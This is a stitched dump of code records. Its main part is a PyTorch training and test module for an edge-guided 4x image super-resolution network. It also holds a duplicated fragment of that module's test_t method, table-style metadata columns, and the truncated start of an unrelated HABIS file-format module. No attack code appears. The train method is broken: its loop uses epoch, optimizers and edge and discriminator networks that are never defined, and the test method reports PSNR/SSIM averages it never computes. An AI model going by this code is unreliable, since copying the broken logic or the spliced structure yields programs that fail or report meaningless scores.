sr_none_dir = os.path.join(self.save_dir, "show_results", "2x2UnitNet_none_SR_"+self.test_dataset)
if not os.path.exists(sr_none_dir):
os.makedirs(sr_none_dir)
bc_dir = os.path.join(self.save_dir, "show_results", "Bicubic_SR_"+self.test_dataset)
if not os.path.exists(bc_dir):
os.makedirs(bc_dir)
hr_dir = os.path.join(self.save_dir, "show_results", "HR_"+self.test_dataset)
if not os.path.exists(hr_dir):
os.makedirs(hr_dir)
lr_dir = os.path.join(self.save_dir, "show_results", "LR_"+self.test_dataset)
if not os.path.exists(lr_dir):
os.makedirs(lr_dir)
# judge whether model exists
if not os.path.exists(sr2x1_1_path):
raise Exception('sr2x1 resnet model not exists')
if not os.path.exists(sr2x2_1_path):
raise Exception('sr2x2 resnet model not exists')
if not os.path.exists(sr2x1_2_path):
raise Exception('sr2x1 resnet model not exists')
if not os.path.exists(sr2x2_2_path):
raise Exception('sr2x2 resnet model not exists')
# load network params
srresnet2x1_edge = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
norm=NORM, activation='prelu', learn_residual=True)
srresnet2x2_edge = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
norm=NORM, activation='prelu', learn_residual=True)
srresnet2x1_none = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
norm=NORM, activation='prelu', learn_residual=True)
srresnet2x2_none = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
norm=NORM, activation='prelu', learn_residual=True)
srresnet2x1_edge.load_state_dict(torch.load(sr2x1_1_path))
srresnet2x2_edge.load_state_dict(torch.load(sr2x2_1_path))
srresnet2x1_none.load_state_dict(torch.load(sr2x1_2_path))
srresnet2x2_none.load_state_dict(torch.load(sr2x2_2_path))
if USE_GPU:
srresnet2x1_edge.cuda()
srresnet2x2_edge.cuda()
srresnet2x1_none.cuda()
srresnet2x2_none.cuda()
import torchnet as tnt
from tqdm import tqdm
from PIL import Image
psnr_edge_4x_avg = tnt.meter.AverageValueMeter()
ssim_edge_4x_avg = tnt.meter.AverageValueMeter()
psnr_none_4x_avg = tnt.meter.AverageValueMeter()
ssim_none_4x_avg = tnt.meter.AverageValueMeter()
# srresnet2x1_edge.eval()
# srresnet2x2_edge.eval()
# srresnet2x1_none.eval()
# srresnet2x2_none.eval()
# processing test data
iterbar = tqdm(os.listdir(test_data_dir))
for img_name in iterbar:
img = Image.open(os.path.join(test_data_dir, img_name)).convert("RGB")
transform = Transforms.RandomCrop(self.crop_size)
img = transform(img)
w, h = img.size[0], img.size[1]
w_lr4x, h_lr4x = int(
w // self.scale_factor), int(h // self.scale_factor)
w_hr, h_hr = w_lr4x * self.scale_factor, h_lr4x * self.scale_factor
# transform tensor
hr = img.resize((w_hr, h_hr), Image.ANTIALIAS)
lr4x = img.resize((w_lr4x, h_lr4x), Image.ANTIALIAS)
bc4x = lr4x.resize((w_hr, h_hr), Image.BICUBIC)
hr_ = Transforms.ToTensor()(hr).unsqueeze(0)
bc4x_ = Transforms.ToTensor()(bc4x).unsqueeze(0)
lr4x_ = Transforms.ToTensor()(lr4x).unsqueeze(0)
if USE_GPU:
hr_ = hr_.cuda()
lr4x_ = lr4x_.cuda()
sr4x_edge_ = srresnet2x2_edge(srresnet2x1_edge(lr4x_))
sr4x_none_ = srresnet2x2_none(srresnet2x1_none(lr4x_))
# calculate PSNR & SSIM
psnr_edge_4x_score = batch_compare_filter(
sr4x_edge_.cpu().data, hr_, PSNR)
ssim_edge_4x_score = batch_compare_filter(
sr4x_edge_.cpu().data, hr_, SSIM)
psnr_edge_4x_avg.add(psnr_edge_4x_score)
ssim_edge_4x_avg.add(ssim_edge_4x_score)
psnr_none_4x_score = batch_compare_filter(
sr4x_none_.cpu().data, hr_, PSNR)
ssim_none_4x_score = batch_compare_filter(
sr4x_none_.cpu().data, hr_, SSIM)
psnr_none_4x_avg.add(psnr_none_4x_score)
ssim_none_4x_avg.add(ssim_none_4x_score)
# save image
save_img(sr4x_edge_.cpu().data, os.path.join(sr_edge_dir, img_name))
save_img(sr4x_none_.cpu().data, os.path.join(sr_none_dir, img_name))
save_img(bc4x_.cpu().data, os.path.join(bc_dir, img_name))
save_img(hr_.cpu().data, os.path.join(hr_dir, img_name))
save_img(lr4x_.cpu().data, os.path.join(lr_dir, img_name))
print("final edge PSNR score: {}".format(psnr_edge_4x_avg.value()[0]))
print("final edge SSIM score: {}".format(ssim_edge_4x_avg.value()[0]))
print("final none PSNR score: {}".format(psnr_none_4x_avg.value()[0]))
print("final none SSIM score: {}".format(ssim_none_4x_avg.value()[0]))
def save_model(self, model, save_dir, model_name, mtype='pkl'):
if not os.path.exists(save_dir):
os.makedirs(save_dir)
if mtype == 'pkl':
save_path = os.path.join(save_dir, model_name+'.pkl')
torch.save(model.state_dict(), save_path)
elif mtype == 'pth':
save_path = os.path.join(save_dir, model_name+'.pth')
torch.save(model.state_dict(), save_path)
| 45.25426 | 144 | 0.539112 | import numpy as np
from scipy.misc import imsave
import os
import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.init as init
import torch.nn.functional as F
import torchvision
from torchvision import models
from torch.autograd import Variable
from torch.utils.data import DataLoader
import torchvision.transforms as Transforms
from dataloader import TrainDataset, DevDataset, TestDataset
from networks.unet import UNet, unet_weight_init
from networks.hed import HED, HED_1L, hed_weight_init
from networks.resnet import ResnetGenerator, Upscale4xResnetGenerator, Upscale2xResnetGenerator
from networks.resnet_wdsr import WDSRResnetGenerator
from networks.discriminators import NLayerDiscriminator
from networks.vggfeature import VGGFeatureMap
from utils.visualizer import Visualizer
from utils.loss import BCE2d
from utils.normalize import norm, denorm, weights_init_normal
from utils.target import PSNR, SSIM, batch_compare_filter, batch_SSIM
USE_GPU = torch.cuda.is_available()
NORM = 'batch'
from scipy.misc import imsave
def save_img(img, save_fn=''):
if not os.path.exists(os.path.split(save_fn)[0]):
os.makedirs(os.path.split(save_fn)[0])
if list(img.shape)[0] == 3:
save_image = img
save_image = save_image.clamp(0, 1).numpy().transpose(1, 2, 0)
else:
save_image = img.squeeze().clamp(0, 1).numpy().transpose(1, 2, 0)
imsave(save_fn, save_image)
class Model(object):
def __init__(self, cfg):
self.env = cfg.env
self.train_dataset = cfg.train_dataset
self.valid_dataset = cfg.valid_dataset
self.test_dataset = cfg.test_dataset
self.data_dir = cfg.data_dir
self.save_dir = cfg.save_dir
self.num_threads = int(cfg.num_threads)
self.num_epochs = int(cfg.num_epochs)
self.save_epochs = int(cfg.save_epochs)
self.pretrain_epochs = int(cfg.pretrain_epochs)
self.batch_size = int(cfg.batch_size)
self.valid_batch_size = int(cfg.valid_batch_size)
self.test_batch_size = int(cfg.test_batch_size)
self.plot_iter = int(cfg.plot_iter)
self.crop_size = int(cfg.crop_size)
self.scale_factor = int(cfg.scale_factor)
self.lr = float(cfg.lr)
def load_dataset(self, mode='train', random_scale=True, rotate=True, fliplr=True, fliptb=True):
if mode == 'train':
train_set = TrainDataset(os.path.join(self.data_dir, self.train_dataset),
crop_size=self.crop_size, scale_factor=self.scale_factor,
random_scale=random_scale, rotate=rotate, fliplr=fliplr, fliptb=fliptb)
return DataLoader(dataset=train_set, num_workers=self.num_threads,
batch_size=self.batch_size, shuffle=True)
elif mode == 'valid':
valid_set = DevDataset(os.path.join(
self.data_dir, self.valid_dataset))
return DataLoader(dataset=valid_set, num_workers=self.num_threads,
batch_size=self.valid_batch_size, shuffle=True)
elif mode == 'test':
test_set = TestDataset(os.path.join(
self.data_dir, self.test_dataset))
return DataLoader(dataset=test_set, num_workers=self.num_threads,
batch_size=self.test_batch_size, shuffle=False)
def train(self, edgenetpath=None, sr2x1_path=None, sr2x2_path=None, srcnn_path=None, srresnet_path=None,
is_fine_tune=False, random_scale=True, rotate=True, fliplr=True, fliptb=True):
vis = Visualizer(self.env)
print('================ Loading datasets =================')
print('## Current Mode: Train')
train_data_loader = self.load_dataset(
mode='train', random_scale=random_scale, rotate=rotate, fliplr=fliplr, fliptb=fliptb)
psnr_4x_avg.reset()
# ssim_4x_avg.reset()
# learning rate is decayed by a factor every 20 epoch
if (epoch + 1) % 5 == 0:
for param_group in srresnet2x1_optimizer.param_groups:
param_group["lr"] *= 0.5
print("Learning rate decay for srresnet2x1: lr={}".format(
srresnet2x1_optimizer.param_groups[0]["lr"]))
for param_group in srresnet2x2_optimizer.param_groups:
param_group["lr"] *= 0.5
print("Learning rate decay for srresnet2x2: lr={}".format(
srresnet2x2_optimizer.param_groups[0]["lr"]))
for param_group in disc_optimizer.param_groups:
param_group["lr"] *= 0.5
print("Learning rate decay for discnet: lr={}".format(
disc_optimizer.param_groups[0]["lr"]))
itbar = tqdm(enumerate(train_data_loader))
for ii, (hr, lr2x, lr4x, bc2x, bc4x) in itbar:
mini_batch = hr.size()[0]
hr_ = Variable(hr)
lr2x_ = Variable(lr2x)
lr4x_ = Variable(lr4x)
bc2x_ = Variable(bc2x)
bc4x_ = Variable(bc4x)
real_label = Variable(torch.ones(mini_batch))
fake_label = Variable(torch.zeros(mini_batch))
# cuda mode setting
if USE_GPU:
hr_ = hr_.cuda()
lr2x_ = lr2x_.cuda()
lr4x_ = lr4x_.cuda()
bc2x_ = bc2x_.cuda()
bc4x_ = bc4x_.cuda()
real_label = real_label.cuda()
fake_label = fake_label.cuda()
# =============================================================== #
# ================ Edge-based srresnet training ================= #
# =============================================================== #
sr2x_ = srresnet2x1(lr4x_)
sr4x_ = srresnet2x2(lr2x_)
if epoch + 1 > self.pretrain_epochs:
disc_optimizer.zero_grad()
#===== 2x disc loss =====#
real_decision_2x = discnet(lr2x_)
real_loss_2x = BCE_loss(
real_decision_2x, real_label.detach())
fake_decision_2x = discnet(sr2x_.detach())
fake_loss_2x = BCE_loss(
fake_decision_2x, fake_label.detach())
disc_loss_2x = real_loss_2x + fake_loss_2x
disc_loss_2x.backward()
disc_optimizer.step()
#===== 4x disc loss =====#
real_decision_4x = discnet(hr_)
real_loss_4x = BCE_loss(
real_decision_4x, real_label.detach())
fake_decision_4x = discnet(sr4x_.detach())
fake_loss_4x = BCE_loss(
fake_decision_4x, fake_label.detach())
disc_loss_4x = real_loss_4x + fake_loss_4x
disc_loss_4x.backward()
disc_optimizer.step()
disc_avg_loss.add(
(disc_loss_2x + disc_loss_4x).data.item())
edge_trade_off = [0.7, 0.2, 0.1, 0.05, 0.01, 0.3]
if epoch + 1 > self.pretrain_epochs:
a1, a2, a3 = 0.75, 0.1, 0.65
else:
a1, a2, a3 = 0.75, 0.0, 0.7
if not is_fine_tune:
#============ calculate 2x loss ==============#
srresnet2x1_optimizer.zero_grad()
#### Edgenet Loss ####
pred = edgenet(sr2x_)
real = edgenet(lr2x_)
edge_loss_2x = BCE_loss(pred.detach(), real.detach())
# for i in range(6):
# edge_loss_2x += edge_trade_off[i] * \
# BCE_loss(pred[i].detach(), real[i].detach())
# edge_loss = 0.7 * BCE2d(pred[0], real[i]) + 0.3 * BCE2d(pred[5], real[i])
#### Content Loss ####
content_loss_2x = MSE_loss(sr2x_, lr2x_) #+ 0.1*BCE_loss(1-sr2x_, 1-lr2x_)
#### Perceptual Loss ####
real_feature = featuremapping(lr2x_)
fake_feature = featuremapping(sr2x_)
vgg_loss_2x = MSE_loss(fake_feature, real_feature.detach())
#### Adversarial Loss ####
advs_loss_2x = BCE_loss(discnet(sr2x_), real_label) if epoch + 1 > self.pretrain_epochs else 0
# advs_loss_2x = 0
#============== loss backward ===============#
total_loss_2x = a1 * edge_loss_2x + a2 * advs_loss_2x + \
a3 * content_loss_2x + (1.0 - a3) * vgg_loss_2x
# total_loss_2x = 1.0 * content_loss_2x + 0.25 * vgg_loss_2x
total_loss_2x.backward()
srresnet2x1_optimizer.step()
#============ calculate scores ==============#
# psnr_2x_score_process = batch_compare_filter(
# sr2x_.cpu().data, lr2x, PSNR)
# psnr_2x_avg.add(psnr_2x_score_process)
# ssim_2x_score_process = batch_compare_filter(
# sr2x_.cpu().data, lr2x, SSIM)
# ssim_2x_avg.add(ssim_2x_score_process)
#============ calculate 4x loss ==============#
if is_fine_tune:
sr4x_ = srresnet2x2(srresnet2x1(lr4x_))
srresnet2x2_optimizer.zero_grad()
#### Edgenet Loss ####
pred = edgenet(sr4x_)
real = edgenet(hr_)
# edge_loss_4x = 0
edge_loss_4x = BCE_loss(pred.detach(), real.detach())
# for i in range(6):
# edge_loss_4x += edge_trade_off[i] * \
# BCE_loss(pred[i].detach(), real[i].detach())
# edge_loss = 0.7 * BCE2d(pred[0], real[i]) + 0.3 * BCE2d(pred[5], real[i])
#### Content Loss ####
content_loss_4x = MSE_loss(sr4x_, hr_) #+ 0.1*BCE_loss(1-sr4x_, 1-hr_)
#### Perceptual Loss ####
real_feature = featuremapping(hr_)
fake_feature = featuremapping(sr4x_)
vgg_loss_4x = MSE_loss(fake_feature, real_feature.detach())
#### Adversarial Loss ####
advs_loss_4x = BCE_loss(discnet(sr4x_), real_label) if epoch + 1 > self.pretrain_epochs else 0
# advs_loss_4x = 0
#============== loss backward ===============#
total_loss_4x = a1 * edge_loss_4x + a2 * advs_loss_4x + \
a3 * content_loss_4x + (1.0 - a3) * vgg_loss_4x
# total_loss_4x = 1.0 * content_loss_4x + 0.25 * vgg_loss_4x
total_loss_4x.backward()
srresnet2x2_optimizer.step()
#============ calculate scores ==============#
# psnr_4x_score_process = batch_compare_filter(
# sr4x_.cpu().data, hr, PSNR)
# psnr_4x_avg.add(psnr_4x_score_process)
# ssim_4x_score_process = batch_compare_filter(
# sr4x_.cpu().data, hr, SSIM)
# ssim_4x_avg.add(ssim_4x_score_process)
if is_fine_tune:
total_avg_loss.add(total_loss_4x.data.item())
edge_avg_loss.add(edge_loss_4x.data.item())
else:
total_avg_loss.add((total_loss_2x+total_loss_4x).data.item())
edge_avg_loss.add((edge_loss_2x+edge_loss_4x).data.item())
if epoch + 1 > self.pretrain_epochs:
disc_avg_loss.add((advs_loss_2x+advs_loss_4x).data.item())
if (ii+1) % self.plot_iter == self.plot_iter-1:
res = {'edge loss': edge_avg_loss.value()[0],
'generate loss': total_avg_loss.value()[0],
'discriminate loss': disc_avg_loss.value()[0]}
vis.plot_many(res, 'Deblur net Loss')
# psnr_2x_score_origin = batch_compare_filter(
# bc2x, lr2x, PSNR)
# psnr_4x_score_origin = batch_compare_filter(bc4x, hr, PSNR)
# res_psnr = {'2x_origin_psnr': psnr_2x_score_origin,
# '2x_sr_psnr': psnr_2x_score_process,
# '4x_origin_psnr': psnr_4x_score_origin,
# '4x_sr_psnr': psnr_4x_score_process}
# vis.plot_many(res_psnr, 'PSNR Score')
# ssim_2x_score_origin = batch_compare_filter(
# bc2x, lr2x, SSIM)
# ssim_4x_score_origin = batch_compare_filter(bc4x, hr, SSIM)
# res_ssim = {'2x_origin_ssim': ssim_2x_score_origin,
# '2x_sr_ssim': ssim_2x_score_process,
# '4x_origin_ssim': ssim_4x_score_origin,
# '4x_sr_ssim': ssim_4x_score_process}
# vis.plot_many(res_ssim, 'SSIM Score')
#======================= Output result of total training processing =======================#
itcnt += 1
# itbar.set_description("Epoch: [%2d] [%d/%d] PSNR_2x_Avg: %.6f, SSIM_2x_Avg: %.6f, PSNR_4x_Avg: %.6f, SSIM_4x_Avg: %.6f"
# % ((epoch + 1), (ii + 1), len(train_data_loader),
# psnr_2x_avg.value()[0], ssim_2x_avg.value()[
# 0],
# psnr_4x_avg.value()[0], ssim_4x_avg.value()[0]))
itbar.set_description("Epoch: [%2d] [%d/%d]"
% ((epoch + 1), (ii + 1), len(train_data_loader)))
if (ii+1) % self.plot_iter == self.plot_iter-1:
# test_ = deblurnet(torch.cat([y_.detach(), x_edge], 1))
hr_edge = edgenet(hr_)
sr2x_edge = edgenet(sr2x_)
sr4x_edge = edgenet(sr4x_)
vis.images(hr_edge.cpu().data, win='HR edge predict', opts=dict(
title='HR edge predict'))
vis.images(sr2x_edge.cpu().data, win='SR2X edge predict', opts=dict(
title='SR2X edge predict'))
vis.images(sr4x_edge.cpu().data, win='SR4X edge predict', opts=dict(
title='SR4X edge predict'))
vis.images(lr2x, win='LR2X image',
opts=dict(title='LR2X image'))
vis.images(lr4x, win='LR4X image',
opts=dict(title='LR4X image'))
vis.images(bc2x, win='BC2X image',
opts=dict(title='BC2X image'))
vis.images(bc4x, win='BC4X image',
opts=dict(title='BC4X image'))
vis.images(sr2x_.cpu().data, win='SR2X image',
opts=dict(title='SR2X image'))
vis.images(sr4x_.cpu().data, win='SR4X image',
opts=dict(title='SR4X image'))
vis.images(hr, win='HR image',
opts=dict(title='HR image'))
t_save_dir = 'results/train_result/'+self.train_dataset
if not os.path.exists(t_save_dir):
os.makedirs(t_save_dir)
if (epoch + 1) % self.save_epochs == 0 and (ii+1) % 200 == 0:
self.save_model(srresnet2x1, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x1_param_batch{}_lr{}_epoch{}'.
format(self.batch_size, self.lr, epoch+1))
self.save_model(srresnet2x2, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x2_param_batch{}_lr{}_epoch{}'.
format(self.batch_size, self.lr, epoch+1))
if (epoch + 1) % self.save_epochs == 0:
self.save_model(srresnet2x1, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x1_param_batch{}_lr{}_epoch{}'.
format(self.batch_size, self.lr, epoch+1))
self.save_model(srresnet2x2, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x2_param_batch{}_lr{}_epoch{}'.
format(self.batch_size, self.lr, epoch+1))
# Save final trained model and results
vis.save([self.env])
self.save_model(srresnet2x1, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x1_param_batch{}_lr{}_epoch{}'.
format(self.batch_size, self.lr, self.num_epochs))
self.save_model(srresnet2x2, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x2_param_batch{}_lr{}_epoch{}'.
format(self.batch_size, self.lr, self.num_epochs))
def test(self, sr2x1_path=None, sr2x2_path=None):
test_data_dir = os.path.join(self.data_dir, self.test_dataset)
result_data_dir = os.path.join(self.save_dir, "test_results", "2x2UnitNet_SR_"+self.test_dataset)
if not os.path.exists(result_data_dir):
os.makedirs(result_data_dir)
# judge whether model exists
if not os.path.exists(sr2x1_path):
raise Exception('sr2x1 resnet model not exists')
if not os.path.exists(sr2x2_path):
raise Exception('sr2x2 resnet model not exists')
# load network params
# srresnet2x1 = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
# norm=NORM, activation='prelu', learn_residual=True)
# srresnet2x2 = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
# norm=NORM, activation='prelu', learn_residual=True)
srresnet2x1 = WDSRResnetGenerator(input_nc=3, output_nc=3, n_blocks=5)
srresnet2x2 = WDSRResnetGenerator(input_nc=3, output_nc=3, n_blocks=5)
srresnet2x1.load_state_dict(torch.load(sr2x1_path))
srresnet2x2.load_state_dict(torch.load(sr2x2_path))
if USE_GPU:
srresnet2x1.cuda()
srresnet2x2.cuda()
import torchnet as tnt
from tqdm import tqdm
from PIL import Image
import time
psnr_4x_avg = tnt.meter.AverageValueMeter()
ssim_4x_avg = tnt.meter.AverageValueMeter()
time_avg = tnt.meter.AverageValueMeter()
srresnet2x1.eval()
srresnet2x2.eval()
# processing test data
iterbar = tqdm(os.listdir(test_data_dir))
import cv2
import numpy as np
for img_name in iterbar:
try:
img = cv2.imread(os.path.join(test_data_dir, img_name), cv2.IMREAD_COLOR)
img = cv2.resize(img, None, None, 0.5, 0.5, interpolation=cv2.INTER_AREA)
h, w, c = img.shape[0], img.shape[1], img.shape[2]
w_lr4x, h_lr4x = int(
w // self.scale_factor), int(h // self.scale_factor)
w_lr2x, h_lr2x = w_lr4x * 2, h_lr4x * 2
w_hr, h_hr = w_lr4x * self.scale_factor, h_lr4x * self.scale_factor
w_num, h_num = w // self.crop_size, h // self.crop_size
w_num += 1 if w % self.crop_size != 0 else 0
h_num += 1 if h % self.crop_size != 0 else 0
res = np.zeros((h*2, w*2, c), dtype=np.uint8)
for i in range(w_num):
l = i * self.crop_size
l_new = l * 2
r = min(l+self.crop_size, w)
r_new = w * 2 if r == w else l_new + self.crop_size * 2
for j in range(h_num):
t = j * self.crop_size
t_new = t * 2
b = min(t+self.crop_size, h)
b_new = h * 2 if b == h else t_new + self.crop_size * 2
lr = img[t:b, l:r]
lr = Transforms.ToTensor()(lr).unsqueeze(0)
if USE_GPU:
lr = lr.cuda()
sr = srresnet2x1(lr).squeeze()
res_sr = sr.cpu().data.clamp(0, 1).numpy().transpose(1, 2, 0)*255
res[t_new:b_new, l_new:r_new] = res_sr
cv2.imwrite(os.path.join(result_data_dir, img_name), res)
except IOError:
pass
finally:
pass
# for img_name in iterbar:
# try:
# img = Image.open(os.path.join(test_data_dir, img_name)).convert("RGB")
# transform = Transforms.RandomCrop(self.crop_size)
# img = transform(img)
# w, h = img.size[0], img.size[1]
# w_lr4x, h_lr4x = int(
# w // self.scale_factor), int(h // self.scale_factor)
# w_lr2x, h_lr2x = w_lr4x * 2, h_lr4x * 2
# # w_hr, h_hr = w_lr4x * self.scale_factor, h_lr4x * self.scale_factor
# # transform tensor
# # hr = img.resize((w_hr, h_hr), Image.ANTIALIAS)
# # lr2x = img.resize((w_lr2x, h_lr2x), Image.ANTIALIAS)
# lr4x = img.resize((w_lr4x, h_lr4x), Image.ANTIALIAS)
# lr4x = img.resize((w_lr2x, h_lr2x), Image.ANTIALIAS)
# # hr_ = Transforms.ToTensor()(hr).unsqueeze(0)
# # lr2x_ = Transforms.ToTensor()(lr2x).unsqueeze(0)
# lr4x_ = Transforms.ToTensor()(lr4x).unsqueeze(0)
# if USE_GPU:
# # hr_ = hr_.cuda()
# # lr2x_ = lr2x_.cuda()
# lr4x_ = lr4x_.cuda()
# torch.cuda.synchronize()
# start = time.time()
# sr4x_ = srresnet2x2(srresnet2x1(lr4x_))
# # sr4x_ = srresnet2x1(lr4x_)
# torch.cuda.synchronize()
# end = time.time()
# time_avg.add(end-start)
# except IOError:
# pass
# finally:
# pass
# # calculate PSNR & SSIM
# psnr_4x_score = batch_compare_filter(
# sr4x_.cpu().data, hr_, PSNR)
# ssim_4x_score = batch_compare_filter(
# sr4x_.cpu().data, hr_, SSIM)
# psnr_4x_avg.add(psnr_4x_score)
# ssim_4x_avg.add(ssim_4x_score)
# # save image
# save_img(sr4x_.cpu().data, os.path.join(result_data_dir, img_name))
print(time_avg.value()[0])
print("final PSNR score: {}".format(psnr_4x_avg.value()[0]))
print("final SSIM score: {}".format(ssim_4x_avg.value()[0]))
def test_t(self, sr2x1_1_path=None, sr2x2_1_path=None, sr2x1_2_path=None, sr2x2_2_path=None):
test_data_dir = os.path.join(self.data_dir, self.test_dataset)
sr_edge_dir = os.path.join(self.save_dir, "show_results", "2x2UnitNet_Edge_SR_"+self.test_dataset)
if not os.path.exists(sr_edge_dir):
os.makedirs(sr_edge_dir)
sr_none_dir = os.path.join(self.save_dir, "show_results", "2x2UnitNet_none_SR_"+self.test_dataset)
if not os.path.exists(sr_none_dir):
os.makedirs(sr_none_dir)
bc_dir = os.path.join(self.save_dir, "show_results", "Bicubic_SR_"+self.test_dataset)
if not os.path.exists(bc_dir):
os.makedirs(bc_dir)
hr_dir = os.path.join(self.save_dir, "show_results", "HR_"+self.test_dataset)
if not os.path.exists(hr_dir):
os.makedirs(hr_dir)
lr_dir = os.path.join(self.save_dir, "show_results", "LR_"+self.test_dataset)
if not os.path.exists(lr_dir):
os.makedirs(lr_dir)
# judge whether model exists
if not os.path.exists(sr2x1_1_path):
raise Exception('sr2x1 resnet model not exists')
if not os.path.exists(sr2x2_1_path):
raise Exception('sr2x2 resnet model not exists')
if not os.path.exists(sr2x1_2_path):
raise Exception('sr2x1 resnet model not exists')
if not os.path.exists(sr2x2_2_path):
raise Exception('sr2x2 resnet model not exists')
# load network params
srresnet2x1_edge = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
norm=NORM, activation='prelu', learn_residual=True)
srresnet2x2_edge = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
norm=NORM, activation='prelu', learn_residual=True)
srresnet2x1_none = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
norm=NORM, activation='prelu', learn_residual=True)
srresnet2x2_none = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5,
norm=NORM, activation='prelu', learn_residual=True)
srresnet2x1_edge.load_state_dict(torch.load(sr2x1_1_path))
srresnet2x2_edge.load_state_dict(torch.load(sr2x2_1_path))
srresnet2x1_none.load_state_dict(torch.load(sr2x1_2_path))
srresnet2x2_none.load_state_dict(torch.load(sr2x2_2_path))
if USE_GPU:
srresnet2x1_edge.cuda()
srresnet2x2_edge.cuda()
srresnet2x1_none.cuda()
srresnet2x2_none.cuda()
import torchnet as tnt
from tqdm import tqdm
from PIL import Image
psnr_edge_4x_avg = tnt.meter.AverageValueMeter()
ssim_edge_4x_avg = tnt.meter.AverageValueMeter()
psnr_none_4x_avg = tnt.meter.AverageValueMeter()
ssim_none_4x_avg = tnt.meter.AverageValueMeter()
# srresnet2x1_edge.eval()
# srresnet2x2_edge.eval()
# srresnet2x1_none.eval()
# srresnet2x2_none.eval()
# processing test data
iterbar = tqdm(os.listdir(test_data_dir))
for img_name in iterbar:
img = Image.open(os.path.join(test_data_dir, img_name)).convert("RGB")
transform = Transforms.RandomCrop(self.crop_size)
img = transform(img)
w, h = img.size[0], img.size[1]
w_lr4x, h_lr4x = int(
w // self.scale_factor), int(h // self.scale_factor)
w_hr, h_hr = w_lr4x * self.scale_factor, h_lr4x * self.scale_factor
# transform tensor
hr = img.resize((w_hr, h_hr), Image.ANTIALIAS)
lr4x = img.resize((w_lr4x, h_lr4x), Image.ANTIALIAS)
bc4x = lr4x.resize((w_hr, h_hr), Image.BICUBIC)
hr_ = Transforms.ToTensor()(hr).unsqueeze(0)
bc4x_ = Transforms.ToTensor()(bc4x).unsqueeze(0)
lr4x_ = Transforms.ToTensor()(lr4x).unsqueeze(0)
if USE_GPU:
hr_ = hr_.cuda()
lr4x_ = lr4x_.cuda()
sr4x_edge_ = srresnet2x2_edge(srresnet2x1_edge(lr4x_))
sr4x_none_ = srresnet2x2_none(srresnet2x1_none(lr4x_))
# calculate PSNR & SSIM
psnr_edge_4x_score = batch_compare_filter(
sr4x_edge_.cpu().data, hr_, PSNR)
ssim_edge_4x_score = batch_compare_filter(
sr4x_edge_.cpu().data, hr_, SSIM)
psnr_edge_4x_avg.add(psnr_edge_4x_score)
ssim_edge_4x_avg.add(ssim_edge_4x_score)
psnr_none_4x_score = batch_compare_filter(
sr4x_none_.cpu().data, hr_, PSNR)
ssim_none_4x_score = batch_compare_filter(
sr4x_none_.cpu().data, hr_, SSIM)
psnr_none_4x_avg.add(psnr_none_4x_score)
ssim_none_4x_avg.add(ssim_none_4x_score)
# save image
save_img(sr4x_edge_.cpu().data, os.path.join(sr_edge_dir, img_name))
save_img(sr4x_none_.cpu().data, os.path.join(sr_none_dir, img_name))
save_img(bc4x_.cpu().data, os.path.join(bc_dir, img_name))
save_img(hr_.cpu().data, os.path.join(hr_dir, img_name))
save_img(lr4x_.cpu().data, os.path.join(lr_dir, img_name))
print("final edge PSNR score: {}".format(psnr_edge_4x_avg.value()[0]))
print("final edge SSIM score: {}".format(ssim_edge_4x_avg.value()[0]))
print("final none PSNR score: {}".format(psnr_none_4x_avg.value()[0]))
print("final none SSIM score: {}".format(ssim_none_4x_avg.value()[0]))
def save_model(self, model, save_dir, model_name, mtype='pkl'):
if not os.path.exists(save_dir):
os.makedirs(save_dir)
if mtype == 'pkl':
save_path = os.path.join(save_dir, model_name+'.pkl')
torch.save(model.state_dict(), save_path)
elif mtype == 'pth':
save_path = os.path.join(save_dir, model_name+'.pth')
torch.save(model.state_dict(), save_path)
| true | true |
f7f36e08915d2edeeaf97193ec835e44d788ebe4 | 59,743 | py | Python | habis/formats.py | ahesford/habis-tools | 82f82b99fa18452697404100edcf83bd03d35abc | [
"BSD-2-Clause"
] | null | null | null | habis/formats.py | ahesford/habis-tools | 82f82b99fa18452697404100edcf83bd03d35abc | [
"BSD-2-Clause"
] | null | null | null | habis/formats.py | ahesford/habis-tools | 82f82b99fa18452697404100edcf83bd03d35abc | [
"BSD-2-Clause"
] | null | null | null | '''
Routines for manipulating HABIS data file formats.
'''
# Copyright (c) 2015 Andrew J. Hesford. All rights reserved.
# Restrictions are listed in the LICENSE file distributed with this package.
import mmap
import numpy as np
import os
import struct
from itertools import repeat
from collections import OrderedDict
from functools import reduce, partial
import warnings
class ArgparseLoader(object):
'''
A factory to load arguments provided to argparse.ArgumentParser using a
provided lodaer function with a defined set of options.
'''
def __init__(self, loader, *args, **kwargs):
'''
Create a callable that accepts a single string argument and,
when called, invokes the provided loader function with the
string as the first argument. All other positional and keyword
arguments are stored and passed to the loader following the
string.
'''
if not callable(loader):
raise TypeError('Argument "loader" must be callable')
# Retain a reference to the loader
self._loader = loader
# Retain the mode and a copy of the arguments
self._args = tuple(args)
self._kwargs = kwargs
def __call__(self, string):
'''
Invoke the loader associated with this instance, passing string
as the first argument and all associated positional and keyword
arguments thereafter.
Any error encountered, will be converted to an
argparse.ArgumentTypeError.
'''
from argparse import ArgumentTypeError
try:
return self._loader(string, *self._args, **self._kwargs)
except Exception as err:
message = f'failed to load {string}: {err}'
raise ArgumentTypeError(f'failed to load {string}: {err}')
# Warnings and errors related to WaveformSet I/O
class WaveformSetIOWarning(UserWarning): pass
class WaveformSetIOError(Exception): pass
def strict_int(x):
ix = int(x)
if ix != x:
raise ValueError('Argument must be integer-compatible')
return ix
def strict_nonnegative_int(x, positive=False):
